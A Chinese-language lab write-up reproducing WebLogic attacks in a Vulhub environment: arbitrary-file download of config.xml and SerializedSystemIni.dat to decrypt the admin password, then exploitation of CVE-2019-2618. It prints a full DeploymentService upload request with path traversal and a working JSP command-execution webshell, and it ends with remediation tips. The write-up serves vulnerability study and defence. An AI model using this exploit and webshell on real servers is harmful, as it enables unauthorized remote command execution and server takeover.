0>本文复现的是vulhub里weblogic的weak_password,由构造的任意文件下载漏洞环境读取到后台用户名和密码,然后登陆进后台,上传webshell。
而CVE-2019-2618任意文件上传漏洞本来也就是要知道获取用户名和密码,而且weblogic的DeploymentService接口的正常功能本来就可以部署war包,所以与weak_password后半部分的登陆进后台,再上传文件有很大相似之处。
故两者一起分析
CVE-2019-2618
漏洞简介
CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
影响版本
WebLogic 10.3.6.0、12.1.3.0、12.2.1.3
漏洞复现
获取用户名密码
weblogic常用弱口令
访问http://ip:7001/hello/file.jsp?path=/etc/passwd,下载到passwd文件,确认存在任意文件下载。
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat
和config.xml
,在本环境为./security/SerializedSystemIni.dat
和./config/config.xml
(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)
。
SerializedSystemIni.dat
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
访问http://ip:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
,下载文件
访问http://ip:7001/hello/file.jsp?path=config/config.xml
,下载到config.xml文件,其中的<node-manager-password-encrypted>
的值,即为加密后的管理员密码
解密:
后台上传webshell
用户名:weblogic
密码:Oracle@123
登陆后台
emmm…鉴于这里加载太慢了一直,后面上传webshell的步骤就不按vulhub上的了,直接利用CVE-2019-2618上传
访问http://ip:7001/bea_wls_deployment_internal/DeploymentService
:抓包改包
poc如下:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: your-ip:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: AdminServer
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell2.jsp"; filename="shell2.jsp"
Content-Type: false
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
返回包:返回了路径
访问http://your-ip:7001/bea_wls_deployment_internal/shell2.jsp
,执行成功。
漏洞成因主要还是wl_upload_application_name
过滤不严格
修复建议
1.登录授权后访问;
2.上传文件类型进行验证,前后端
3.重命名文件
4.MIME类型检测
5.限制上传文件的大小
6.限制上传的路径
7.限制上传路径的执行权限
8.不要回显上传文件的路径